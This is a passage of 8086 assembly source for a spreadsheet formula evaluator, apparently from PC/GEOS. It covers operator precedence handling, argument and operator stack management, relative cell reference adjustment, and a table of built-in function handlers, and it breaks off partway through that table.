COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckCircularNameRef
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check for a circular name reference.
CALLED BY: EvalName
PASS: ss:bp.di= Pointer to end of list of nested addresses
ds = Segment of the current address
si = Offset of the current address
RETURN: carry set if this position already exists
carry clear otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/11/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckCircularNameRef proc near
uses di, ax
.enter
mov ax, ds ; ax <- segment address to check
checkLoop:
tst di ; Check for no more to check (clears carry)
jz quit ; Quit if no more to check
sub di, size dword ; ss:bp.di <- ptr to entry to check
cmp ax, ss:[bp].EP_nestedAddresses[di].segment
jne checkLoop ; Branch if different
cmp si, ss:[bp].EP_nestedAddresses[di].offset
jne checkLoop ; Branch if different
;
; The entry already exists. Signal the caller.
;
stc ; Tell caller about circular name reference
quit:
.leave
ret
CheckCircularNameRef endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushRange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Global, Push a range on the argument stack
CALLED BY: Global, ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to EvalRangeData
es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Check to make sure the range is valid
Push the range onto the argument stack.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushRange proc far
uses cx, di, si
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
clr cx ; No additional space needed
mov al, mask ESAT_RANGE ; al <- the type of the argument
call ParserEvalPushArgument ; Make space on the argument stack
jc quit ; Quit on error
;
; Space was allocated. Copy the range structure.
;
mov cx, size EvalRangeData
lea di, es:[bx].ASE_data ; es:di <- destination
push di ; Save the pointer to the range
rep movsb ; Copy the range data
pop di ; Restore pointer to range
;
; Now adjust the rows and columns if they are relative references
;
call AdjustForRelativeReference
jc replaceWithError ; Quit if error
add di, offset ERD_lastCell
call AdjustForRelativeReference
jnc quit ; Branch if no error
replaceWithError:
;
; There was something wrong with the range we pushed. Replace it
; with an error of the appropriate type.
;
call ReplaceArgumentWithError
quit:
.leave
ret
ParserEvalPushRange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AdjustForRelativeReference
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Adjust a row/column for relative references
CALLED BY: EvalCellReference, EvalRange
PASS: ss:bp = Pointer to EvalParameters
es:di = Pointer to the cell reference
RETURN: carry set on error
al = error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Adjust the reference (if it is relative) by adding in the current
cell.
Always sets the flags which say that the reference is absolute before
returning so that this routine can be called over and over on the
same cell without screwing up.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/ 1/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AdjustForRelativeReference proc near
mov ax, es:[di].CR_row
and ax, mask CRC_VALUE
shl ax, 1 ; Sign extends ax by shifting the
sar ax, 1 ; 15th bit into the high bit and then
; shifting it back, duplicating the
; high bit (that's what sar does).
test es:[di].CR_row, mask CRC_ABSOLUTE
jnz saveRow
;
; Relative reference, add in the current row
;
add ax, ss:[bp].CP_row
saveRow:
;
; Check for row in bounds (>maxRow)
;
cmp ax, ss:[bp].CP_maxRow
ja errorRowOutOfRange
mov es:[di].CR_row, ax
or es:[di].CR_row, mask CRC_ABSOLUTE
mov ax, es:[di].CR_column
and ax, mask CRC_VALUE
shl ax, 1 ; Sign extends ax by shifting the
sar ax, 1 ; 15th bit into the high bit and then
; shifting it back, duplicating the
; high bit (that's what sar does).
test es:[di].PTCD_cellRef.CR_column, mask CRC_ABSOLUTE
jnz saveColumn
;
; Relative reference, add in the current column
;
add ax, ss:[bp].CP_column
saveColumn:
;
; Check for column in bounds (>maxColumn)
;
cmp ax, ss:[bp].CP_maxColumn
ja errorColumnOutOfRange
mov es:[di].CR_column, ax
or es:[di].CR_column, mask CRC_ABSOLUTE
clc ; Signal: no error
quit:
ret
errorColumnOutOfRange:
mov al, PSEE_COLUMN_OUT_OF_RANGE
stc
jmp quit
errorRowOutOfRange:
mov al, PSEE_ROW_OUT_OF_RANGE
stc
jmp quit
AdjustForRelativeReference endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalCloseFunction
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate a close-function
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Evaluate the function on the OperatorStack
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalCloseFunction proc far
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
call PopOperatorAndEval ; Evaluate the function
ret
EvalCloseFunction endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalArgEnd
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate an arg-end
CALLED BY: ParserEvalExpression via evalHandlers
PASS: es:di = Pointer to the top of the operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Evaluate operators on the OperatorStack until a function is at the
top of the stack.
Increment the number of arguments being passed to the function.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalArgEnd proc far
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
call DereferenceCell ; Deref cell, if there is one
jc quit ; quit on error
checkOpLoop:
cmp es:[di].OSE_type, ESOT_FUNCTION
;;; Carry clear if the 'equal' condition is met
je incArgCount ; Done if reached a function
call PopOperatorAndEval ; Evaluate operator
jc quit ; Quit if error
jmp checkOpLoop ; Loop to check next operator
incArgCount:
;
; Increment the count of the number of arguments passed to the function
;
inc es:[di].OSE_data.ESOD_function.EFD_nArgs
clc ; Signal: no error
quit:
ret
EvalArgEnd endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EvalOperator
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Evaluate an operator
CALLED BY: ParserEvalExpression via evalHandlers
PASS: ds:si = Pointer to ParserTokenOperatorData
es:di = Pointer to top of operator/function stack
es:bx = Pointer to the top of the argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
ds:si = Pointer past the ParserTokenOperatorData
DESTROYED: ax
PSEUDO CODE/STRATEGY:
If the precedence of this operator is less than the precedence of
the top of the operator stack then eval top of OperatorStack
until an operator of lower precedence rises to the top
Push operator on OperatorStack.
The precedence of the operator is the value of the operator-id.
The lower the number, the higher the precedence.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/25/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EvalOperator proc far
uses dx
.enter
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
checkOpLoop:
cmp es:[di].OSE_type, ESOT_OPERATOR
jne pushOperator ; Branch if not operator
;
; special case to allow something like ABS(--45). You'll have
; tokens like: (ABS func) (NEG op) (NEG op) (45). The two NEG ops
; have the same precedence, so the first NEG op will attempt to
; get an argument. Unfortunately, there isn't any. - brianc 9/2/94
;
cmp es:[di].OSE_data.ESOD_operator.EOD_opType, OP_NEGATION
jne notNegNeg
cmp ds:[si].PTOD_operatorID, OP_NEGATION
je pushOperator ; push it
notNegNeg:
;
; The top of the OperatorStack is an operator (not a function
; or an open-paren).
; Check to see if the current operator has a higher (or same)
; precedence than the one on the operator stack.
;
push ds, bx ; Need these later
clr bh
mov bl, ds:[si].PTOD_operatorID ; bx <- current operator
NOFXIP< segmov ds, dgroup, dx ; ds <- seg addr of table >
FXIP < mov dx, bx >
FXIP < mov bx, handle dgroup >
FXIP < call MemDerefDS ; ds = dgroup >
FXIP < mov bx, dx >
mov dl, ds:opPrecedenceTable[bx] ; dl <- current precedence
mov bl, es:[di].OSE_data.ESOD_operator.EOD_opType
mov dh, ds:opPrecedenceTable[bx] ; dh <- other precedence
pop ds, bx ; Need these for PushOperator
;
; dl = precedence of the operator we are looking at
; dh = precedence of the operator on the stack
;
cmp dl, dh ; Compare current vs. on stack
ja pushOperator ; Branch if current is higher
; precedence
;
; The operator on the stack is of a higher or equal precedence. We
; want to evaluate operators on the stack until the top item is no
; longer an operator, or is no longer an operator of higher or equal
; precedence.
;
call PopOperatorAndEval ; Evaluate operator
jc quit ; Quit if error
jmp checkOpLoop ; Loop to check next operator
pushOperator:
;
; Push the current operator on the OperatorStack.
;
mov dl, ds:[si].PTOD_operatorID ; dl <- operator ID
mov al, ESOT_OPERATOR ; al <- type of operator
call PushOperator ; Push the operator
quit:
CheckHack <(size ParserTokenOperatorData) eq 1>
inc si ; si <- skip op, preserve carry
.leave
ret
EvalOperator endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserEvalPushArgument
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push an argument onto the ArgumentStack
CALLED BY: Utility
PASS: es:bx = Pointer to the top of the argument stack
al = Type of the item (EvalArgumentType)
cx = Additional size to allocate beyond that which
would normally be assumed for this item.
es:di = Pointer to the OperatorStack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: es:bx = New top of the argument stack. (Points to the
allocated item).
carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/28/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserEvalPushArgument proc far
uses si, cx, dx
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
EC < cmp al, EvalStackArgumentType >
EC < ERROR_AE EVAL_BAD_ARGUMENT_TYPE >
;
; Check for pushing an error.
;
cmp al, mask ESAT_ERROR ; Check for pushing an error
jne notError ; Branch if not an error
or ss:[bp].EP_flags, mask EF_ERROR_PUSHED
notError:
mov dl, al ; Save type of item
call DereferenceCell ; Deref cell, if there is one
jc quit ; Quit on error
mov al, dl ; Restore type of item
;
; Add the size of the necessary structure to the "extra space" value
; that was passed in in cx. The table of sizes to use is in the code
; segment and depends on the order of definition of the
; EvalArgumentType enum.
;
call GetArgumentSize ; si <- size of the arguments
add cx, si ; Add in the size
inc cx ; One byte for the type too
sub bx, cx ; Adjust the stack pointer
call CheckStackPointers ; Check for collision of pointers
jc quitRestoreStack ; Quit if error
;
; OK... There is space.
;
mov es:[bx].ASE_type, al ; Save the type of the argument.
clc ; Signal: no error
quit:
.leave
ret
quitRestoreStack:
add bx, cx ; Restore stack pointer
stc ; Signal the error again
jmp quit
ParserEvalPushArgument endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetArgumentSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Figure out the size of an argument.
CALLED BY: ParserEvalPushArgument
PASS: al = EvalStackArgumentType
RETURN: si = Size of the argument data
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetArgumentSize proc near
mov si, size EvalErrorData ; Size for an error type
test al, mask ESAT_ERROR
jnz quit ; Branch if error
mov si, size EvalRangeData ; Size for a range
test al, mask ESAT_RANGE
jnz quit ; Branch if range
mov si, size EvalStringData ; Size for a string
test al, mask ESAT_STRING
jnz quit ; Branch if string
clr si ; Size for a number
test al, mask ESAT_NUMBER
jnz quit ; Branch if number
ERROR ILLEGAL_ARGUMENT_TO_GET_ARG_SIZE
quit:
ret
GetArgumentSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PushOperator
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push an operator on the operator stack
CALLED BY: Utility
PASS: es:di = Top of OperatorStack
es:bx = Argument stack
al = Operator type (EvalOperatorType)
For different types we have different data:
ESOT_OPERATOR - dl = OperatorType
ESOT_FUNCTION - dx = Function ID
ESOT_OPEN_PAREN - no data
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: es:di = New top of OperatorStack.
carry set on error
al = Error code
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/28/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PushOperator proc near
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
EC < cmp al, EvalStackOperatorType >
EC < ERROR_AE EVAL_BAD_OPERATOR_TYPE >
;
; Adjust the stack pointer.
;
add di, size OperatorStackElement
call CheckStackPointers ; Make sure stacks are OK.
jc quitRestoreStack ; Quit on error
mov es:[di].OSE_type, al ; Save the type of the operator
cmp al, ESOT_OPEN_PAREN ; Check for open-paren
je quit ; Branch if open-paren, carry is clear
cmp al, ESOT_OPERATOR ; Check for operator
jne isFunction ; Must be a function...
;;; carry is clear here because the "equal" condition was met
mov es:[di].OSE_data.ESOD_operator.EOD_opType, dl
jmp quit ; Quit
isFunction:
EC < cmp al, ESOT_FUNCTION ; Check for function >
EC < ERROR_NZ EVAL_UNEXPECTED_OPERATOR_TYPE >
mov es:[di].OSE_data.ESOD_function.EFD_functionID, dx
mov es:[di].OSE_data.ESOD_function.EFD_nArgs, 0
clc ; Signal: no error
quit:
ret
quitRestoreStack:
sub di, size OperatorStackElement ; Restore stack pointer
stc ; Signal the error again
jmp quit
PushOperator endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckStackPointers
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to make sure that the argument and operator stacks
haven't collided
CALLED BY: ParserEvalPushArgument, PushOperator
PASS: es:di = Pointer to top of OperatorStack
es:bx = Pointer to top of ArgumentStack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/28/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckStackPointers proc near
uses cx
.enter
EC < call ECCheckPointerESDI >
EC < call ECCheckPointerESBX >
;
; Check for a possible conflict of stack pointers.
;
mov cx, bx
sub cx, di ; cx <- distance between pointers
jc outOfStackError ; Quit if already past
cmp cx, size OperatorStackElement
jbe outOfStackError ; Quit if no space for operator
; which is below us
quit:
.leave
ret
outOfStackError:
mov al, PSEE_OUT_OF_STACK_SPACE
stc ; Signal: error
jmp quit ; Branch to quit
CheckStackPointers endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PopOperatorAndEval
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pop an operator off the OperatorStack and evaluate it.
CALLED BY:
PASS: ds:si = Pointer to the token stream
es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
RETURN: carry set on error
al = Error code
es:bx = Pointer to new top of argument stack
es:di = Pointer to new top of operator stack.
ds:si = Pointer to the token stream.
DESTROYED: ax
PSEUDO CODE/STRATEGY:
type = The type of the operator at the top of the stack.
if type == OPERATOR then
Call operator handler
else if type == FUNCTION then
if internal function then
Call function handler
else
Callback to application
endif
endif
opStackPtr -= size OperatorStackElement
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/30/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PopOperatorAndEval proc near
uses si, cx, dx
.enter
EC < cmp es:[di].OSE_type, ESOT_TOP_OF_STACK >
EC < ERROR_Z EVAL_CANT_POP_AND_EVAL_TOP_OF_STACK >
EC < cmp es:[di].OSE_type, ESOT_OPEN_PAREN >
EC < ERROR_Z EVAL_OPEN_PAREN_SHOULD_NOT_BE_ON_OPERATOR_STACK >
call DereferenceCell ; Deref the cell if we need to
jc quit ;branch if error
;
; Check for creating dependencies rather than evaluating.
;
test ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
jnz makeDependencies ; Branch if making dependencies
;
; Save current stack depth
;
call FloatDepth ; ax <- current FPStack size
push ax
;
; Not making dependencies, check for the type of the operator and
; handle it appropriately.
;
cmp es:[di].OSE_type, ESOT_FUNCTION
jne evalOperator
;
; Get the number of numeric arguments on the FPStack for this function
;
mov cx, es:[di].OSE_data.ESOD_function.EFD_nArgs
call GetNumberOfNumericArgs ; dx <- # numeric args
push dx ; original # args on FPStack
;
; Evaluate an internally defined function
;
mov si, es:[di].OSE_data.ESOD_function.EFD_functionID
cmp si, FUNCTION_ID_FIRST_EXTERNAL_FUNCTION
jae external ; Branch if external function
;
; Function is internally defined
;
call cs:functionHandlers[si] ; Call function handler
jmp checkErrorPopOperator
external:
;
; Evaluate an externally defined function
;
mov al, CT_EVAL_FUNCTION ; Callback for a function
if FULL_EXECUTE_IN_PLACE
pushdw ss:[bp].CP_callback
call PROCCALLFIXEDORMOVABLE_PASCAL
else
call ss:[bp].CP_callback ; Call the application
endif
jmp checkErrorPopOperator
evalOperator:
;
; Evaluate an operator
;
EC < cmp es:[di].OSE_type, ESOT_OPERATOR >
EC < ERROR_NE EVAL_TOP_OF_OPSTACK_NOT_OPERATOR_OR_FUNCTION >
clr ah ; ax <- operator type
mov al, es:[di].OSE_data.ESOD_operator.EOD_opType
shl ax, 1 ; ax <- index into word table
mov si, ax ; si <- index
call cs:operatorHandlers[si] ; Call the function handler
push dx ; dx <- # of numeric args
checkErrorPopOperator:
pop si ; si <- # numeric args that were passed
pop cx ; cx <- previous FPStack depth
jc quit ; Quit on really bad error
;
; If evaluating the function or operator produced an
; error, fixup the FPStack before continuing
;
test es:[bx].ASE_type, mask ESAT_ERROR
jz noError
call FunctionErrorFixupFPStack
noError:
call PopOperator ; Remove the operator
; Carry is set correctly
quit:
.leave
ret
;-----------------------------------------------------------------------------
makeDependencies:
;
; Make dependencies by calling back for each argument to the operator
; or function.
;
mov ax, offset cs:FuncArgDependencies
cmp es:[di].OSE_type, ESOT_FUNCTION
je dependFuncArgs
;
; Well... Assume that it's an operator.
;
EC < cmp es:[di].OSE_type, ESOT_OPERATOR >
EC < ERROR_NE EVAL_TOP_OF_OPSTACK_NOT_OPERATOR_OR_FUNCTION >
mov ax, offset cs:OpArgDependencies
dependFuncArgs:
call ax ; Call the appropriate routine
jc quit
jmp noError
PopOperatorAndEval endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FunctionErrorFixupFPStack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fixup the FPstack after a function error.
CALLED BY: PopOperatorAndEval
PASS: es:di = Pointer to top of operator/function stack
es:bx = Pointer to top of argument stack
ss:bp = Pointer to EvalParameters structure on the stack.
cx = number items on FPStack before function was evaluated.
si = number of numeric arguments passed to the function.
DESTROYED: nothing
RETURN: FPStack fixed up.
DESTROYED: cx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/21/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FunctionErrorFixupFPStack proc near
uses ax
.enter
call FloatDepth ; ax <- # items on stack
sub cx, si ; cx <- depth we want the stack to be
sub ax, cx ; ax <- excess number of elements on stack
EC< ERROR_S FUNCTION_BAD_FP_STACK_DEPTH >
jz done
mov cx, ax
dropLoop:
call FloatDrop
loop dropLoop
done:
.leave
ret
FunctionErrorFixupFPStack endp
;
; A list of handlers for the functions.
; Make sure that the list of function handlers corresponds to the order in
; which the function id's are defined.
;
if PZ_PCGEOS
functionHandlers word offset cs:FunctionAbs,
offset cs:FunctionACos,
offset cs:FunctionACosh,
offset cs:FunctionAnd,
offset cs:FunctionASin,
offset cs:FunctionASinh,
offset cs:FunctionATan,
offset cs:FunctionATan2,
offset cs:FunctionATanh,
offset cs:FunctionAvg,
offset cs:FunctionChar,
offset cs:FunctionChoose,
offset cs:FunctionClean,
offset cs:FunctionCode,
offset cs:FunctionCols,
offset cs:FunctionCos,
offset cs:FunctionCosh,
offset cs:FunctionCount,
offset cs:FunctionCTerm,
offset cs:FunctionDate,
offset cs:FunctionDateValue,
offset cs:FunctionDay,
offset cs:FunctionDDB,
offset cs:FunctionErr,
offset cs:FunctionExact,
offset cs:FunctionExp,
offset cs:FunctionFact,
offset cs:FunctionFalse,
offset cs:FunctionFind,
offset cs:FunctionFV,
offset cs:FunctionHLookup,
offset cs:FunctionHour,
offset cs:FunctionIf,
offset cs:FunctionIndex,
offset cs:FunctionInt,
offset cs:FunctionIRR,
offset cs:FunctionIsErr,
offset cs:FunctionIsNumber,
offset cs:FunctionIsString,
offset cs:FunctionLeft,
offset cs:FunctionLength,
offset cs:FunctionLn,
offset cs:FunctionLog,
offset cs:FunctionLower,
offset cs:FunctionMax,
offset cs:FunctionMid,
offset cs:FunctionMin,
offset cs:FunctionMinute,
offset cs:FunctionMod,
offset cs:FunctionMonth,
offset cs:FunctionN,
offset cs:FunctionNA,
offset cs:FunctionNow,
offset cs:FunctionNPV,
offset cs:FunctionOr,
offset cs:FunctionPi,
offset cs:FunctionPMT,
offset cs:FunctionProduct,
offset cs:FunctionProper,
offset cs:FunctionPV,
offset cs:FunctionRandomN,
offset cs:FunctionRandom,
offset cs:FunctionRate,
offset cs:FunctionRepeat,
offset cs:FunctionReplace,
offset cs:FunctionRight,
offset cs:FunctionRound,
offset cs:FunctionRows,
offset cs:FunctionSecond,
offset cs:FunctionSin,
offset cs:FunctionSinh,
offset cs:FunctionSLN,
offset cs:FunctionSqrt,
offset cs:FunctionStd,
offset cs:FunctionStdP,
offset cs:FunctionString,
offset cs:FunctionSum,
offset cs:FunctionSYD,
offset cs:FunctionTan,
offset cs:FunctionTanh,
offset cs:FunctionTerm,
offset cs:FunctionTime,
offset cs:FunctionTimeValue,
offset cs:FunctionToday,
offset cs:FunctionTrim,
offset cs:FunctionTrue,
offset cs:FunctionTrunc,
offset cs:FunctionUpper,
offset cs:FunctionValue,
offset cs:FunctionVar,
offset cs:FunctionVarP,
offset cs:FunctionVLookup,
offset cs:FunctionWeekday,
offset cs:FunctionYear,
offset cs:FunctionFilename,
offset cs:FunctionPage,
offset cs:FunctionPages,
offset cs:FunctionDegrees,
offset cs:FunctionRadians,
offset cs:FunctionDB ; Pizza
else
functionHandlers word offset cs:FunctionAbs, ; Standard
offset cs:FunctionACos,
offset cs:FunctionACosh,
offset cs:FunctionAnd,
offset cs:FunctionASin,
offset cs:FunctionASinh,
offset cs:FunctionATan,
offset cs:FunctionATan2,
offset cs:FunctionATanh,
offset cs:FunctionAvg,
offset cs:FunctionChar,
offset cs:FunctionChoose,
offset cs:FunctionClean,
offset cs:FunctionCode,
offset cs:FunctionCols,
offset cs:FunctionCos,
offset cs:FunctionCosh,
offset cs:FunctionCount,
offset cs:FunctionCTerm,
offset cs:FunctionDate,
offset cs:FunctionDateValue,
offset cs:FunctionDay,
offset cs:FunctionDDB,
offset cs:FunctionErr,
offset cs:FunctionExact,
offset cs:FunctionExp,
offset cs:FunctionFact,
offset cs:FunctionFalse,
offset cs:FunctionFind,
offset cs:FunctionFV,
offset cs:FunctionHLookup,
offset cs:FunctionHour,
offset cs:FunctionIf,
offset cs:FunctionIndex,
offset cs:FunctionInt,
offset cs:FunctionIRR,
offset cs:FunctionIsErr,
offset cs:FunctionIsNumber,
offset cs:FunctionIsString,
offset cs:FunctionLeft,
offset cs:FunctionLength,
offset cs:FunctionLn,
offset cs:FunctionLog,
offset cs:FunctionLower,
offset cs:FunctionMax,
offset cs:FunctionMid,
offset cs:FunctionMin,
offset cs:FunctionMinute,
offset cs:FunctionMod,
offset cs:FunctionMonth,
offset cs:FunctionN,
offset cs:FunctionNA,
offset cs:FunctionNow,
offset cs:FunctionNPV,
offset cs:FunctionOr,
offset cs:FunctionPi,
offset cs:FunctionPMT,
offset cs:FunctionProduct,
offset cs:FunctionProper,
offset cs:FunctionPV,
offset cs:FunctionRandomN,
offset cs:FunctionRandom,
offset cs:FunctionRate,
offset cs:FunctionRepeat,
offset cs:FunctionReplace,
offset cs:FunctionRight,
offset cs:FunctionRound,
offset cs:FunctionRows,
offset cs:FunctionSecond,
offset cs:FunctionSin,
offset cs:FunctionSinh,
offset cs:FunctionSLN,
offset cs:FunctionSqrt,
offset cs:FunctionStd,
offset cs:FunctionStdP,
offset cs:FunctionString,
offset cs:FunctionSum,
offset cs:FunctionSYD,
offset cs:FunctionTan,
